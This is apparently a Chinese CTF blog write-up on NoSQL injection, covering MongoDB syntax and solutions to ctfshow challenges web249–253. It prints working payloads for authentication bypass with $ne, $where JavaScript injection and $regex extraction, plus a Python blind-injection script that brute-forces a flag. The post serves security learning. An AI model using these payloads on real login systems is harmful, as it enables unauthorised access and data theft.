目录

  1. 1. 前言
  2. 2. 基础语法
    1. 2.1. 数据库
    2. 2.2. 集合
    3. 2.3. 文档
  3. 3. PHP操作MongoDB
  4. 4. 注入分类
    1. 4.1. 重言式注入
    2. 4.2. 联合查询注入
    3. 4.3. JavaScript注入/$where注入
  5. 5. 题目实战
    1. 5.1. ctfshow web249(memcache)
    2. 5.2. ctfshow web250(永真式)
    3. 5.3. ctfshow web251
    4. 5.4. ctfshow web252(正则)
    5. 5.5. ctfshow web253(盲注)
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NoSQL注入

2023/8/20 Web Sql ctfshow
  |     |   总文章阅读量:次

前言

菜鸟教程 nosql

ctfshow web249-253

参考: http://www.mi1k7ea.com/2019/08/11/NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB


基础语法

使用docker上的MongoDB 7.0.0进行测试

数据库

创建/切换数据库

use user
db

查看所有数据库

show dbs

插入数据

db.user.insertOne({"name":"C1oudfL0w0"})

MongoDB 中默认的数据库为 test,如果你没有创建新的数据库,集合将存放在 test 数据库中

image-20230820181407534

删除数据库

db.dropDatabase()

集合

对应MySQL中的表

创建集合

db.createCollection(name, options)
  • name: 要创建的集合名称
  • options: 可选参数,指定有关内存大小及索引的选项,可选capped、size、max、autoIndexId(3.2 之后不再支持该参数)

查看已有集合

show collections

image-20230820182705287


文档

document,对应 MySQL 的 row

插入文档

insert()方法

db.COLLECTION_NAME.insert(document)

若插入的数据主键已经存在,则会抛出 org.springframework.dao.DuplicateKeyException 异常,提示主键重复,不保存当前数据。

save()方法

db.COLLECTION_NAME.save(document)

如果 _id 主键存在则更新数据,如果不存在就插入数据。该方法新版本中已废弃,可以使用 db.collection.insertOne() 或 db.collection.replaceOne() 来代替。

实例:

插入文档

db.col.insert({username: 'C1oudfL0w0', password: 'ahaha',level: 100 })

查看文档

db.col.find()

image-20230820183359608


PHP操作MongoDB

<?php
$mongo = new MongoClient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save();    //增
$coll->find();    //查
$coll->remove();    //减
$coll->update();    //改
?>

注入分类

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制

万能密码:username[$ne]=1&password[$ne]=1

联合查询注入

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据

JavaScript注入/$where注入

这是一种新的漏洞,由允许执行数据内容中 JavaScript 的 NoSQL 数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改

username=test&password=a';return true;var c='

题目实战

参考羽师傅的博客

ctfshow web249(memcache)

查询语句

$user = $memcache->get($id);

是Memcache缓存数据库,相关的php语法:

<?php
$m = new Memcache;             //创建一个memcache对象
$m->connect('localhost', 11451); //连接Memcached服务器
$m->set('key', 'test');        //设置一个变量到内存中,名称是key值是test
$get_value = $m->get('key');   //从内存中取出key的值
$m->close();
?>

那么很明显就是从get方法入手

image-20230820184240507

image-20230820184257227

向get中传入参数或者数组,就可以返回指定的键值对

所以直接查询即可(题目好像不能直接传入参数只能传数组)

?id[]=flag

ctfshow web250(永真式)

查询语句

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

没有过滤

是MongoDB数据库注入,对应的基本语法:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域

重点还是MongoDB的条件语句

操作 格式 范例 RDBMS中的类似语句
等于 {:} db.userinfo.find({“name”:“C1oudfL0w0”}) where name = ‘C1oudfL0w0’
小于 {:{$lt:}} db.userinfo.find({“age”:{$lt:20}}) where age < 20
小于或等于 {:{$lte:}} db.userinfo.find({“age”:{$lte:20}}) where age <= 20
大于 {:{$gt:}} db.userinfo.find({“age”:{$gt:20}}) where age > 20
大于或等于 {:{$gte:}} db.userinfo.find({“age”:{$gte:20}}) where age >= 20
不等于 {:{$ne:}} db.userinfo.find({“likes”:{$ne:20}}) where age != 20

AND 查询

db.userinfo.find({key1:value1, key2:value2})

OR 查询

db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})

查询,类似于 where username='C1oudfL0w0',其中userinfo是集合名

db.userinfo.find({name:'C1oudfL0w0'});

而在条件语句中有一句可以利用的是

db.userinfo.find({"likes":{$ne:20}})

即 where likes != 20,这个式子一定是永真的

所以回到题目

我们传入 username[$ne]=1&password[$ne]=1,等价于where username!=1&password!=1

即可实现永真


ctfshow web251

上一题的payload打进去即可


ctfshow web252(正则)

查询语句

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

pretty()函数纯美化,所以查询语句根本没变

用之前的payload打发现这题flag不在admin下了,应该是在其它条目里

这里就需要用到正则匹配了,用^查找以什么为开头的字段

username[$ne]=1&password[$regex]=^ctfshow{


ctfshow web253(盲注)

上题的payload能登录成功,但是不回显查询内容了

这个时候我们尝试在上题的payload基础上再加个字母

image-20230820191239673

登录失败,那么应该可以进行盲注

脚本

import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://271deadc-a024-466a-ab2f-cc617799befb.challenge.ctf.show/api/"
while True:
    for j in string:
        data={
            "username[$ne]":1,
            "password[$regex]":f"ctfshow{flag+j}"
        }
        r=requests.post(url,data=data)
        if "\\u767b\\u9646\\u6210\\u529f" in r.text:
            sign=j
            flag+=j
            print(flag)
        else:
            pass
    if sign=='}':
        break